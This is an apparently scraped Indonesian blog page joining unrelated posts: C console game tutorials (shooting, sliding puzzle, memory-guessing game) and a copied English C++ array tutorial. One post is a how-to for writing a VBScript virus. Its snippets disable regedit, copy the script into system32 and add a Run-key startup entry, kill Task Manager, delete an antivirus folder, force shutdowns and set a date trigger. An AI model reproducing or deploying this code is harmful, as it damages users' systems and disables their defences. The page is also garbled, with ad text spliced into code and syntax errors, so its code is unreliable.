Senin, 19 Desember 2011

/* Tembak-tembak-an
  
*/
#include<conio.h>
#include<stdio.h>
#include<dos.h>
#include<stdlib.h>
    int int_x=35,move,n,x,poin=0,bebek=0;
    char navigasi;
void petunjuk();
void awal();
void game();
void main()
{
    awal();
}
void game()
{
    clrscr();
    gotoxy(35,40);printf("=*=");
    int_x=35;
    gotoxy(65,1);printf("Press k to exit");
    poin=0;
    bebek=0;
    do
    {
        for(x=1;x<=75;x++)
        {
        delay(70);
        gotoxy(x-1,2);printf(" ");
        gotoxy(x,2);printf("s");
        if(kbhit())
        {
        navigasi=getch();
        switch(navigasi)
        {
            case 'd':if(int_x<=73){int_x=int_x+1;move=1;}break;
            case 'a':if(int_x>=3){int_x=int_x-1;move=1;}break;
            case 'k':x=76;navigasi='k';break;
            case ' ':
                for(n=39;n>0;n--)
                {
                    x++;
                    gotoxy(x-1,2);printf(" ");
                    gotoxy(x,2);printf("s");
                    gotoxy(int_x+1,n);printf("|");
                    gotoxy(int_x+1,n+1);printf(" ");
                    gotoxy(int_x+1,40);printf("*");
                    delay(70);
                    if(x==75){x=1;bebek++;gotoxy(75,2);printf(" ");}
                    if((x==int_x+1)&&(n==2))
                    {
                        poin++;
                        gotoxy(x,n);printf("@");
                        delay(500);
                        x=1;
                    }
                }
                gotoxy(int_x+1,1);printf(" ");
                gotoxy(65,1);printf("Press k to exit");
                break;
            default:move=0;break;
        }
        }
        gotoxy(1,1);printf("Poin : %d",poin);
        gotoxy(1,3);printf(" ");
        gotoxy(15,41);printf(" ");
        gotoxy(1,41);printf("Sisa bebek : %d",30-bebek);
        if(x==75){gotoxy(75,2);printf(" ");}
        if(move==1)
        {
            gotoxy(int_x-1,40);printf(" ");
            gotoxy(int_x+3,40);printf(" ");
            gotoxy(int_x,40);printf("=*=");
        }
        }
        if(bebek<=30)
        bebek++;
        if(bebek>30)
        {
            gotoxy(25,25);printf("Poin yang anda dapatkan : %d",poin);
            getch();
            awal();
        }
    }while (navigasi!='k');
    awal();
}

void awal()
{
    int a;
    clrscr();
    printf("MAIN MENU\n");
    printf("1. New Game\n");
    printf("2. Petunjuk Permainan\n");
    printf("3. Exit");
    a=getch();
    switch(a)
    {
        case '1': game();break;
        case '2': petunjuk();break;
        case '3': exit(1);break;
        default : printf("\nPilih angka 1-4!");getch();break;
    }
}

void petunjuk()
{
    clrscr();
    printf("     Petunjuk Permainan\n");
    printf("Tembaklah bebek yang dilambangkan\n");
    printf("dengan huruf 's'sedemikian hingga\n");
    printf("peluru mengenai bebek tersebut.\n");
    printf("Terdapat 30 bebek yang melewati me-\n");
    printf("dan tembak. Yang mampu menembak be-\n");
    printf("bek dengan tepat dengan poin terbanyak\n");
    printf("Dialah yang menjadi pemenang.\n");
    printf("\nkeyboard controler:\n");
    printf("kanan  : d\n");
    printf("kiri   : a\n");
    printf("Tembak : space\n");
    printf("\n\nPress any key...");
    getch();
    awal();
}

Informatika: /*  *  * File : puzzle.c  */ #include ...

Informatika: /*
*
* File : puzzle.c
*/

#include <stdlib.h>
...
: /* * * File : puzzle.c */ #include #include #include #define atas 1 #define kiri 2 #define bawah 3 #define...
/*
 *
 * File : puzzle.c
 */

#include <stdlib.h>
#include <time.h>
#include <stdio.h>

#define atas 1
#define kiri 2
#define bawah 3
#define kanan 4

#define keyUp 0x048
#define keyDown 0x050
#define keyLeft 0x04b
#define keyRight 0x04d

#define true 1
#define false 0

#define easy 10
#define medium 20
#define hard 30

#define caption " ----------------\n// GAME PUZZLE //\n----------------\n"

#define fieldSize 4

char field[fieldSize][fieldSize];
char field2[fieldSize][fieldSize];
unsigned int seed;
int x, y;

int acak(int i);
void initField(int movement);
void move(int arah);
void generateOutput();
int cekUrut();

int acak(int i) {
    int a;
    seed += 5;
    srand(seed);

    a = (rand() % i) + 1;

    return(a);
}

void initField(int movement) {
    int arah, arahOld = -1, nPindah = movement, xOld, yOld;
    int c = 1, i, j;
    char temp;

    srand(time(NULL));
    seed = rand();
    x = y = (fieldSize - 1);

    for (i = 0; i <= (fieldSize - 1); i++) {
        for (j = 0; j <= (fieldSize - 1); j++) {
            field[i][j] = field2[i][j] = c;
            c++;
        }
    }
    field[fieldSize - 1][fieldSize - 1] = field2[fieldSize - 1][fieldSize - 1] = ' ';

    c = 0;
    while (c != nPindah) {
        xOld = x;
        yOld = y;
        arah = acak(4);

        if (arah != 0) {
            if ( c != 0) {
                if ((arah + 2) % 4 == arahOld) {
                    continue;
                }
            }

            switch (arah) {
                case atas :
                    if (y > 0) y--;
                    else continue;
                    break;
                case kiri:
                    if (x > 0) x--;
                    else continue;
                    break;
                case kanan :
                    if (x < fieldSize - 1) x++;
                    else continue;
                    break;
                case bawah :
                    if (y < fieldSize - 1) y++;
                    else continue;
                    break;
                default :
                    break;
            }

            if (x >= 0 && y >= 0 && x <= (fieldSize - 1) && y <= (fieldSize - 1)) {
                temp = field[y][x];
                field[y][x] = field[yOld][xOld];
                field[yOld][xOld] = temp;

                c++;
                arahOld = arah % 4;
            } else {
                x = xOld;
                y = yOld;
            }
        }
    }
}

void move(int arah) {
    int xOld, yOld;
    char temp;

    xOld = x;
    yOld = y;

    switch (arah) {
        case atas :
            if (y > 0) y--;
            break;
        case kiri:
            if (x > 0) x--;
            break;
        case kanan :
            if (x < (fieldSize - 1)) x++;
            break;
        case bawah :
            if (y < (fieldSize - 1)) y++;
            break;
        default :
            break;
    }

    if (x >= 0 && y >= 0 && x <= (fieldSize - 1) && y <= (fieldSize - 1)) {
        temp = field[y][x];
        field[y][x] = field[yOld][xOld];
        field[yOld][xOld] = temp;
    } else {
        x = xOld;
        y = yOld;
    }
    generateOutput();
}

void generateOutput() {
    int i, j, k;
    clrscr();
    puts(caption);
    puts("Tekan ESC untuk keluar / reset permainan...");
    for(k = 1; k <= fieldSize; k++) printf("+----"); puts("+");

    for (i = 0; i<=(fieldSize - 1); i++) {
        for (j= 0; j<=(fieldSize - 1); j++) {
            if (i == y && j == x) {
                printf("| %c  ", field[i][j]);
            } else {
                printf("| %2i ", field[i][j]);
            }
        }
        puts("|");

        for(k = 1; k <= fieldSize; k++) printf("+----"); puts("+");
    }
}

int cekUrut() {
    int c, d;
    int match = true;

    for (c = 0; c <= (fieldSize - 1); c++) {
        for (d = 0; d <= (fieldSize - 1); d++) {
            if (field[c][d] != field2[c][d]) {
                if (match == true) {
                    match = false;
                }
            }
        }
    }
    return(match);
}

main() {
    int i, j, k, level;
    char key;

    system("cls");
    puts(caption);
    puts("Mainkan puzzle dan menyusunnya menjadi urutan yang benar...");
    puts("Geser kotak kosong sehingga menjadi berurutan sbg berikut : \n");
    initField(0);
    for(k = 1; k <= fieldSize; k++) printf("+----"); puts("+");
    for (i = 0; i<=(fieldSize - 1); i++) {
        for (j= 0; j<=(fieldSize - 1); j++) {
            if (i == y && j == x) {
                printf("| %c  ", field2[i][j]);
            } else {
                printf("| %2i ", field2[i][j]);
            }
        }
        puts("|");

        for(k = 1; k <= fieldSize; k++) printf("+----"); puts("+");
    }
    puts("Gunakan tombol panah untuk menggeser kotak kosong...\n");
    puts("Tekan sembarang tombol untuk melanjutkan...");
    getch();
    for(;;) {
        system("cls");
        puts("Level : ");
        puts("\t1. Easy");
        puts("\t2. Medium");
        puts("\t3. Hard");
        printf("Pilih Level yang akan dimainkan : ");
         scanf("%i", &level);
       
        switch (level) {
            case 1 :
                initField(easy);
                break;
            case 2 :
                initField(medium);
                break;
            case 3 :
                initField(hard);
                break;
            default :
                puts("Level salah!!");
                getch();
                continue;
        }
       
        system("cls");

        generateOutput();

        while ((key = getch()) != 27) {
            switch(key) {
                case keyUp :
                    move(atas);
                    break;
                case keyDown :
                    move(bawah);
                    break;
                case keyLeft :
                    move(kiri);
                    break;
                case keyRight :
                    move(kanan);
                    break;
            }
            if (cekUrut() == true) {
                puts("\nANDA MENANG!!!");
                break;
            }
        }
        if (key == 27) {
            printf("Apakah anda ingin keluar ?\n['y' utk keluar / 't' utk reset] : ");
            if (toupper(getchar()) == 'Y') break;
            else continue;
        } else {
            printf("Apakah anda ingin main lagi ? [y/t] : ");
            if (toupper(getchar()) == 'T') {
                puts("\nTerima Kasih Telah Mencoba!!!");
                getch();
                break;
            }
            else continue;
        }
    }
}

 Game merupakan kata yang tidak asing lagi didengar telinga, terkadang orang sampai tergila-gila akan hal ini hingga waktu yang mereka miliki hanya untuk bermain game. Pada era saat ini game merupakan teknologi yang berkembang sangat pesat. Apalagi game banyak sekali macamnya dan sangat memberikan hiburan yang benar-benar tidak tanggung-tanggung hingga kocek-pun harus habis untuk kepuasan bermain game, namun banyak sekali seseorang hanya senang bermain game namun tidak mau mempelajari bagaimana cara pembuatanya hal ini sangat disayangkan karena kita hanya akan mengkonsumsi hal itu namun tanpa tahu bagaimana proses pembuatanya.
Seperti judul yang saya buat saya akan mengenalkan bahasa pemrograman C++ yang dapat membuat game sederhana, dari sinilah game-game saat ini muncul yaitu mulai dari bahasa sederhana yang digunakan hingga sekompleks saat ini.....
marilah kita belajar cara pembuatan game bagian 1 ini, yang pertama kita lakukan adalah men-download compiler C++ saya sarankan borland C++ agar dapat dengan mudah mengikuti tutorial ini lalu install pada komputer anda.
Pada bagian 1 ini saya akan memberitahu bagaimana game sederhana layaknya pencocokan gambar yang sama dengan menebak gambar pada posisi tertutup yang saya beri judul Permainan Tebak Angka
  1. bukalah borland C++
  2. pilih menu file->New->edit text untuk membuka halaman
  3. masukkan kode berikut
  4. #include <stdio.h>
    #include <conio.h>

    void check(int b[4][4],int a[4][4]);

    void inisial();

    void tampil(int b[4][4]);

    void play(int b[4][4],int a[4][4]);

    void check(int b[4][4],int a[4][4]);

    /*=============FUNGSI UTAMA================*/
    void main(){
    inisial(); //pemanggilan fungsi inisial
    getch();
    }

    /*=============FUNGSI INISIALISASI ARRAY a DAN b================*/
    void inisial(){
    int a[4][4]={{1,1,2,2},{3,3,4,4},{5,5,6,6},{7,7,8,8}};
    int b[4][4]={{0,0,0,0},{0,0,0,0},{0,0,0,0},{0,0,0,0}};
    play(b,a);//pemanggilan fungsi play dengan parameter array a dan b
    }

    /*=============FUNGSI TAMPILAN PERMAINAN================*/
    void tampil(int b[4][4]){
    printf("==================================== ======================================\n\n");
    printf("\t\t\tPermainan Tebak Angka\n");
    printf("==================================== ======================================\n\n");
    printf("*********************************\n*\t*\t*\t*\t*\n");
    printf("* %d * %d * %d * %d *\n*\t*\t*\t*\t*\n",b[0][0],b[0][1],b[0][2],b[0][3]);
    printf("*********************************\n*\t*\t*\t*\t*\n");
    printf("* %d * %d * %d * %d *\n*\t*\t*\t*\t*\n",b[1][0],b[1][1],b[1][2],b[1][3]);
    printf("*********************************\n*\t*\t*\t*\t*\n");
printf("* %d * %d * %d * %d *\n*\t*\t*\t*\t*\n",b[2][0],b[2][1],b[2][2],b[2][3]);
printf("*********************************\n*\t*\t*\t*\t*\n");
printf("* %d * %d * %d * %d *\n*\t*\t*\t*\t*\n",b[3][0],b[3][1],b[3][2],b[3][3]);
printf("*********************************\n");
}

/*=============FUNGSI PERMAINAN DIMULAI================*/
void play(int b[4][4],int a[4][4]){
int kolom1,baris1,kolom2,baris2;
clrscr();
tampil(b);//pemanggilan fungsi tampil dengan parameter array b
printf("Masukkan baris dan kolom, Tebak Angka 1\n");
printf("baris : ");
scanf("%d",&baris1);
printf("kolom : ");
scanf("%d",&kolom1);
b[baris1-1][kolom1-1]=a[baris1-1][kolom1-1];
tampil(b);
clrscr();
tampil(b);
printf("Masukkan baris dan kolom, Tebak Angka 2\n");
printf("baris : ");
scanf("%d",&baris2);
printf("kolom : ");
scanf("%d",&kolom2);
b[baris2-1][kolom2-1]=a[baris2-1][kolom2-1];
if(b[baris1-1][kolom1-1]==b[baris2-1][kolom2-1]){
clrscr();
tampil(b);
}else{b[baris2-1][kolom2-1]=0;
b[baris1-1][kolom1-1]=0;
clrscr();
tampil(b);
}
check(b,a);//pemanggilan fungsi check
}

/*=============FUNGSI PROSES PENGECEKKAN================*/
void check(int b[4][4],int a[4][4]){
if((b[0][0]==a[0][0])&&(b[0][1]==a[0][1])&&( b[0][2]==a[0][2])&&(b[0][3]==a[0][3])&&(b[1 ][0]==a[1][0])&&(b[1][1]==a[1][1])&&(b[1][2 ]==a[1][2])&&(b[1][3]==a[1][3])&&(b[2][0]== a[2][0])&&(b[2][1]==a[2][1])&&(b[2][2]==a[2 ][2])&&(b[2][3]==a[2][3])&&(b[3][0]==a[3][0 ])&&(b[3][1]==a[3][1])&&(b[3][2]==a[3][2])&&(b[3][3]==a[3][3]))
{
printf("SELAMAT ANDA MENANG!!!\n\n");

printf("Ingin mencoba lagi tekan y");

if(getch()=='y'||getch()=='Y')inisial();//kembali memberikan nilai nol pada array b
else getch();//keluar
}
else play(b,a);
}
  1. Setelah menulis kode diatas pilih menu project->compile
  2. Setelah itu pilih menu script->run
  3. mainkan program tersebut dengan memasukkan baris dan kolom untuk mencari angka yang sama jika salah memilih angka kedua maka angka pertama ikut berubah menjadi 0 kembali


Pada tulisan kali ini yaitu cara membuat game sederhana dengan C++ bagian 2 saya akan memberikan beberapa tambahan saja. Sebelumnya telah saya berikan source code permainan tebak angka pada bagian 1 yang tidak memiliki skor ataupun rekapitulasi permainan (mencetak nama pemain beserta nilai skor yang diperoleh), padahal suatu game atau permainan selalu memiliki nilai berupa skor. Sebenarnya penambahan kali ini hanya beberapa saja, yaitu bertujuan untuk melengkapi beberapa bagian dari game itu sendiri. Pada saat permainan dimulai hingga permainan selesai, itulah yang akan menjadi skor untuk permainan tebak angka ini, dimana pemain berupaya untuk memperoleh waktu tercepat. Sekarang mari kita lihat source code berikut:
#include <stdio.h>
#include <iostream.h>
#include <conio.h>
#include <dos.h> //header untuk mengatur sleep
#include <time.h> //header time

/*========STRUCT DECLARATION======*/
struct game{
char name[20];
float total;
};typedef struct game game;

void check(int b[4][4],int a[4][4]);

void information();

void tampil(int b[4][4]);

void play(int b[4][4],int a[4][4],time_t c, game gm);

void check(int b[4][4],int a[4][4],time_t c, game gm);

/*=============FUNGSI UTAMA================*/
void main(){
information(); //pemanggilan fungsi informasi
getch();
}

/*=============FUNGSI INISIALISASI ARRAY a DAN b================*/
void information(){
game gm;
int a[4][4]={{1,1,2,2},{3,3,4,4},{5,5,6,6},{7,7,8,8}};
int b[4][4]={{0,0,0,0},{0,0,0,0},{0,0,0,0},{0,0,0,0}};
time_t c;
printf("Informasi permainan:\n");
printf("--------------------\n");
printf("Nama Pemain : ");
gets(gm.name);
c = time(NULL);//catat waktu saat ini
play(b,a,c,gm);//pemanggilan fungsi play dengan parameter array a dan b
}

/*=============FUNGSI TAMPILAN PERMAINAN================*/
void tampil(int b[4][4]){
printf("==================================== ======================================\n");
printf("\t\t\tPermainan Tebak Angka\n");
printf("==================================== ======================================\n\n");
printf("*********************************\n*\t*\t*\t*\t*\n");
printf("* %d * %d * %d * %d *\n*\t*\t*\t*\t*\n",b[0][0],b[0][1],b[0][2],b[0][3]);
printf("*********************************\n*\t*\t*\t*\t*\n");
printf("* %d * %d * %d * %d *\n*\t*\t*\t*\t*\n",b[1][0],b[1][1],b[1][2],b[1][3]);
printf("*********************************\n*\t*\t*\t*\t*\n");
printf("* %d * %d * %d * %d *\n*\t*\t*\t*\t*\n",b[2][0],b[2][1],b[2][2],b[2][3]);
printf("*********************************\n*\t*\t*\t*\t*\n");
printf("* %d * %d * %d * %d *\n*\t*\t*\t*\t*\n",b[3][0],b[3][1],b[3][2],b[3][3]);
printf("*********************************\n");
}

/*=============FUNGSI PERMAINAN DIMULAI================*/
void play(int b[4][4],int a[4][4],time_t c,game gm){
int kolom1,baris1,kolom2,baris2;

//Tebak angka ke-1
clrscr();
tampil(b);//pemanggilan fungsi tampil dengan parameter array b
printf("Masukkan baris dan kolom, Tebak Angka 1\n");

Email Family On Facebook  Facebook Helps You Connect and Share with Friends. Sign Up Today!
www.Facebook.com
Embed Free Slideshow  Turn Your Pictures Into Stunning Travel Slideshows. Easy to Create!
tripwow.tripadvisor.com/slideshow
printf("baris : ");
scanf("%d",&baris1);
printf("kolom : ");
scanf("%d",&kolom1);
if(kolom1>4 || baris1>4 ){clrscr();
printf("Maaf angka anda melebihi batas");
sleep(1);
play(b,a,c,gm);}
if(b[baris1-1][kolom1-1]!=0){
printf("Maaf baris %d kolom %d telah terisi\a",baris1,kolom1);
sleep(1);
play(b,a,c,gm);
}
b[baris1-1][kolom1-1]=a[baris1-1][kolom1-1];
tampil(b);

//Tebak angka ke-2
clrscr();
tampil(b);
printf("Masukkan baris dan kolom, Tebak Angka 2\n");
printf("baris : ");
scanf("%d",&baris2);
printf("kolom : ");
scanf("%d",&kolom2);
if(kolom2>4 || baris2>4 ){clrscr();
printf("Maaf angka anda melebihi batas");
sleep(1);
}else
if(b[baris2-1][kolom2-1]!=0){
printf("Maaf baris %d kolom %d telah terisi\a",baris1,kolom1);
sleep(1);
b[baris1-1][kolom1-1]=0;
play(b,a,c,gm);
}
b[baris2-1][kolom2-1]=a[baris2-1][kolom2-1];
if(b[baris1-1][kolom1-1]==b[baris2-1][kolom2-1]){
clrscr();
tampil(b);
}else{b[baris2-1][kolom2-1]=0;
b[baris1-1][kolom1-1]=0;
clrscr();
tampil(b);
}
check(b,a,c,gm);//pemanggilan fungsi check

}

/*=============FUNGSI PROSES PENGECEKKAN================*/
void check(int b[4][4],int a[4][4],time_t c, game gm){
time_t d;
if((b[0][0]==a[0][0])&&(b[0][1]==a[0][1])&&( b[0][2]==a[0][2])&&(b[0][3]==a[0][3])&&(b[1 ][0]==a[1][0])&&(b[1][1]==a[1]1])&&(b[1][2] ==a[1][2])&&(b[1][3]==a[1][3])&&(b[2][0]==a [2][0])&&(b[2][1]==a[2][1])&&(b[2][2]==a[2] [2])&&(b[2][3]==a[2][3])&&(b[3][0]==a[3][0] )&&(b[3][1]==a[3][1])&&(b[3][2]==a[3][2])&&(b[3][3]==a[3][3]))
{
d = time(NULL);//catat waktu saat ini

printf("Permainan selesai .....\n\n");
printf("Apakah anda ingin bermain lagi <Y/N>");

gm.total = difftime(d,c);

if(getch()=='y'||getch()=='Y'){information();//kembali memberikan nilai nol pada array b
}else if(getch()=='n'){
printf("\nRekapitulasi permainan:\n");
printf("-----------------------\n");
printf("Nama: %s\tWaktu: %f detik",gm.name,gm.total);
}
}
else play(b,a,c,gm);
}
//end_of_main

oke.....coba pelajari dan utak-utik dulu aja.......^^.....maav bila kata-kata yang saya buat kurang jelas saya cuma ingin membagi pengalaman.......terima kasih.....oh ya bagian final yang ketiga akan saya buat mungkin cukup lama karena masih banyak tugas yang harus saya kerjakan...hehehehe....(^_^ )

Jumat, 11 November 2011

gampang untuk membuat virus.
semua hal dibawah ini hanya sebagai penambah pengetahuan kita saja
dan tidak boleh disalah gunakan untuk hal-hal yang bersifat merusak.
Dan saya tidak bertanggung jawab jika itu terjadi. Sekarang kita akan
membahas cara gampang membuat virus pake vbs file.
pertama, berikut ini hal-hal yang wajib kita siapin sebelum membuat virus.
# seperangkat komputer berikut monitor,cpu,mouse,kibor, dll (wajib)
# kita harus menyiapkan sebuah file yang ber-ekstensi vbs (*.vbs)
# secangkir teh anget.
# akan lebih afdoL kalo ditemenin lagu2nya rhcp (aku ngefans ma rhcp)
Untuk eksekusi pertama, yang dilakukan virus biasanya mengubah registry.
Sebenarnya udah aku bahas di blogku ini. tapi nggak papa aku ulangin aja.
biar keliatan resmi  . misalnya:
1. mendisable regedit. Yang kita tulis:
On Error Resume Next(perintah ini digunakan pada file vb
supaya kalo ada yang salah bisa dilanjutin kode selanjutnya)
CreateObject(”WScript.Shell”).run “cmd.exe /c reg add hkcusoftware\microsoft\windows\currentversion\policies\system /v
disableregistrytools /t reg_dword /d “”1?” /f”, vbhide
sebenarnya banyak cara untuk mendisable regedit. misalnya kek gini:
CreateObject(”WScript.Shell”).regwriteHKEY_CURRENT_USERsoftware\microsoft\
windows\currentversion\policies\systemdisableregistrytools”, 1, “REG_DWORD”
lalu mengubah registry yang lain. yang nggak aku bahas disini karena
udah pernah aku bahas pada postingan yang lain di blogku ini.
2. mengopikan diri ke direktory lain
CreateObject(”Scripting.FileSystemObject”).
GetFile(WScript.ScriptFullName).Copy “c:\windows\system32\virus.vbs”
Ada juga cara lain dengan kide seperti ini:
On Error Resume Next
createobject(”scripting.filesystemobject”).copyfile wscript.scriptfullname,
createobject(”scripting.filesystemobject”)
.getspecialfolder(1) & “\virus.vbs”
misalnya untuk mengkopikan diri ke direktory C:\WINDOWS\System32
dengan nama virus.vbs
.getspecialfolder(0) digunakan untuk direktory WINDOWS
.getspecialfolder(1) digunakan untuk direktory SYSTEM32 pada windowsXP
.getspecialfolder(2) digunakan untuk direktory Temporary
3.Membunuh proses.
digunakan untuk membunuh proses
(proses adalah program yang sedang berjalan)
misalnya kita akan membunuh proses taskmanager
On Error Resume Next
CreateObject(”WScript.Shell”)
.run “taskkill /f /im taskmgr.exe”, vbhide
4.Menjalankan virus pada saat startup atau saat windows dihidupkan.
menggunakan regedit
On Error Resume Next
CreateObject(”WScript.Shell”).RegWrite “HKEY_LOCAL_MACHINESoftware\Microsoft\Windows\CurrentVersion\Run\virus”
, “c:\windows\system32\virus.vbs”
(menjalankan virus yang berada di direktory c:\windows\system32
dengan nama virus.vbs)
5.Menghapus File / Folder 
agar virus yang kita buat tidak banyak menggunakan script bisa di singkat seperti ini:
On Error Resume Next
set hapus = CreateObject(”Scripting.FileSystemObject”)
hapus.DeleteFile “C:\xxx.exe” ‘(menghapus file xxx.exe di direktory C:\)
hapus.DeleteFolder “C:\antivirus” ‘(menghapus folder antivirus di direktory C:\)
6.Merestart Windows 
CreateObject(”WScript.Shell”).run “shutdown -r -f -t 60?, vbhide
merestart windows dalam waktu 60 sekon
7.Meng-ShutDown Windows 
CreateObject(”WScript.Shell”).run “shutdown -s-f -t 60?, vbhide
mematikan windows dalam waktu 60 sekon  yang beda cuman
“shutdown -s-f -t 60?
S = untuk shutdown dan
R = untuk reboot\restart
8. Mengaktifkan Virus Pada Waktu tertentu
If day(now) = 1 and month(now) = 1 and year(now) = 2007 then
‘(masukkan kode virus disini)
End if 
‘misalnya kalo mau mengaktifkan pada tanggal 1, bulan 1
‘dan tahun 2012
Ok. Pelajaran bikin virus untuk hari ini saya kira udah cukup.
walaupun udah sering dibahas,, nggak papalah,,,, itung-itung

abtu, 01 Januari 2011

Cara Menggunakan Array Pada C++

Sabtu, 01 Januari 2011 |
An array is a series of elements of the same type placed in contiguous memory locations that can be individually referenced by adding an index to a unique identifier.

That means that, for example, we can store 5 values of type int in an array without having to declare 5 different variables, each one with a different identifier. Instead of that, using an array we can store 5 different values of the same type, int for example, with a unique identifier.

For example, an array to contain 5 integer values of type int called billy could be represented like this:



where each blank panel represents an element of the array, that in this case are integer values of type int. These elements are numbered from 0 to 4 since in arrays the first index is always 0, independently of its length.

Like a regular variable, an array must be declared before it is used. A typical declaration for an array in C++ is:


type name [elements];


where type is a valid type (like int, float...), name is a valid identifier and the elements field (which is always enclosed in square brackets []), specifies how many of these elements the array has to contain.

Therefore, in order to declare an array called billy as the one shown in the above diagram it is as simple as:

 
int billy [5];


NOTE: The elements field within brackets [] which represents the number of elements the array is going to hold, must be a constant value, since arrays are blocks of non-dynamic memory whose size must be determined before execution. In order to create arrays with a variable length dynamic memory is needed, which is explained later in these tutorials.

Initializing arrays.

When declaring a regular array of local scope (within a function, for example), if we do not specify otherwise, its elements will not be initialized to any value by default, so their content will be undetermined until we store some value in them. The elements of global and static arrays, on the other hand, are automatically initialized with their default values, which for all fundamental types this means they are filled with zeros.

In both cases, local and global, when we declare an array, we have the possibility to assign initial values to each one of its elements by enclosing the values in braces { }. For example:

 
int billy [5] = { 16, 2, 77, 40, 12071 }; 


This declaration would have created an array like this:



The amount of values between braces { } must not be larger than the number of elements that we declare for the array between square brackets [ ]. For example, in the example of array billy we have declared that it has 5 elements and in the list of initial values within braces { } we have specified 5 values, one for each element.

When an initialization of values is provided for an array, C++ allows the possibility of leaving the square brackets empty [ ]. In this case, the compiler will assume a size for the array that matches the number of values included between braces { }:

 
int billy [] = { 16, 2, 77, 40, 12071 };


After this declaration, array billy would be 5 ints long, since we have provided 5 initialization values.

Accessing the values of an array.


In any point of a program in which an array is visible, we can access the value of any of its elements individually as if it was a normal variable, thus being able to both read and modify its value. The format is as simple as:


name[index]


Following the previous examples in which billy had 5 elements and each of those elements was of type int, the name which we can use to refer to each element is the following:



For example, to store the value 75 in the third element of billy, we could write the following statement:

 
billy[2] = 75;


and, for example, to pass the value of the third element of billy to a variable called a, we could write:

 
a = billy[2];


Therefore, the expression billy[2] is for all purposes like a variable of type int.

Notice that the third element of billy is specified billy[2], since the first one is billy[0], the second one is billy[1], and therefore, the third one is billy[2]. By this same reason, its last element is billy[4]. Therefore, if we write billy[5], we would be accessing the sixth element of billy and therefore exceeding the size of the array.

In C++ it is syntactically correct to exceed the valid range of indices for an array. This can create problems, since accessing out-of-range elements do not cause compilation errors but can cause runtime errors. The reason why this is allowed will be seen further ahead when we begin to use pointers.

At this point it is important to be able to clearly distinguish between the two uses that brackets [ ] have related to arrays. They perform two different tasks: one is to specify the size of arrays when they are declared; and the second one is to specify indices for concrete array elements. Do not confuse these two possible uses of brackets [ ] with arrays.

1
2
int billy[5];         // declaration of a new array
billy[2] = 75;        // access to an element of the array. 


If you read carefully, you will see that a type specifier always precedes a variable or array declaration, while it never precedes an access.

Some other valid operations with arrays:

1
2
3
4
billy[0] = a;
billy[a] = 75;
b = billy [a+2];
billy[billy[a]] = billy[2] + 5;


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// arrays example
#include 
using namespace std;

int billy [] = {16, 2, 77, 40, 12071};
int n, result=0;

int main ()
{
  for ( n=0 ; n<5 ; n++ )
  {
    result += billy[n];
  }
  cout << result;
  return 0;
}
12206


Multidimensional arrays


Multidimensional arrays can be described as "arrays of arrays". For example, a bidimensional array can be imagined as a bidimensional table made of elements, all of them of a same uniform data type.



jimmy represents a bidimensional array of 3 per 5 elements of type int. The way to declare this array in C++ would be:

 
int jimmy [3][5];


and, for example, the way to reference the second element vertically and fourth horizontally in an expression would be:

 
jimmy[1][3]




(remember that array indices always begin by zero).

Multidimensional arrays are not limited to two indices (i.e., two dimensions). They can contain as many indices as needed. But be careful! The amount of memory needed for an array rapidly increases with each dimension. For example:

 
char century [100][365][24][60][60];


declares an array with a char element for each second in a century, that is more than 3 billion chars. So this declaration would consume more than 3 gigabytes of memory!

Multidimensional arrays are just an abstraction for programmers, since we can obtain the same results with a simple array just by putting a factor between its indices:

1
2
int jimmy [3][5];   // is equivalent to
int jimmy [15];     // (3 * 5 = 15) 


With the only difference that with multidimensional arrays the compiler remembers the depth of each imaginary dimension for us. Take as example these two pieces of code, with both exactly the same result. One uses a bidimensional array and the other one uses a simple array:

multidimensional arraypseudo-multidimensional array
#define WIDTH 5
#define HEIGHT 3

int jimmy [HEIGHT][WIDTH];
int n,m;

int main ()
{
  for (n=0;n
    for (m=0;m
    {
      jimmy[n][m]=(n+1)*(m+1);
    }
  return 0;
}
#define WIDTH 5
#define HEIGHT 3

int jimmy [HEIGHT * WIDTH];
int n,m;

int main ()
{
  for (n=0;n
    for (m=0;m
    {
      jimmy[n*WIDTH+m]=(n+1)*(m+1);
    }
  return 0;
}


None of the two source codes above produce any output on the screen, but both assign values to the memory block called jimmy in the following way:



We have used "defined constants" (#define) to simplify possible future modifications of the program. For example, in case that we decided to enlarge the array to a height of 4 instead of 3 it could be done simply by changing the line:

 
#define HEIGHT 3 

to:
 
#define HEIGHT 4 


with no need to make any other modifications to the program.

Arrays as parameters

At some moment we may need to pass an array to a function as a parameter. In C++ it is not possible to pass a complete block of memory by value as a parameter to a function, but we are allowed to pass its address. In practice this has almost the same effect and it is a much faster and more efficient operation.

In order to accept arrays as parameters the only thing that we have to do when declaring the function is to specify in its parameters the element type of the array, an identifier and a pair of void brackets []. For example, the following function:

 
void procedure (int arg[])


accepts a parameter of type "array of int" called arg. In order to pass to this function an array declared as:

 
int myarray [40];


it would be enough to write a call like this:

 
procedure (myarray);


Here you have a complete example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// arrays as parameters
#include 
using namespace std;

void printarray (int arg[], int length) {
  for (int n=0; n
    cout << arg[n] << " ";
  cout << "\n";
}

int main ()
{
  int firstarray[] = {5, 10, 15};
  int secondarray[] = {2, 4, 6, 8, 10};
  printarray (firstarray,3);
  printarray (secondarray,5);
  return 0;
}
5 10 15
2 4 6 8 10


As you can see, the first parameter (int arg[]) accepts any array whose elements are of type int, whatever its length. For that reason we have included a second parameter that tells the function the length of each array that we pass to it as its first parameter. This allows the for loop that prints out the array to know the range to iterate in the passed array without going out of range.

In a function declaration it is also possible to include multidimensional arrays. The format for a tridimensional array parameter is:

 
base_type[][depth][depth]


for example, a function with a multidimensional array as argument could be:

 
void procedure (int myarray[][3][4])


Notice that the first brackets [] are left blank while the following ones are not. This is so because the compiler must be able to determine within the function which is the depth of each additional dimension.

Arrays, both simple or multidimensional, passed as function parameters are a quite common source of errors for novice programmers. I recommend the reading of the chapter about Pointers for a better understanding on how arrays operate.

Sumber:  cplusplus.com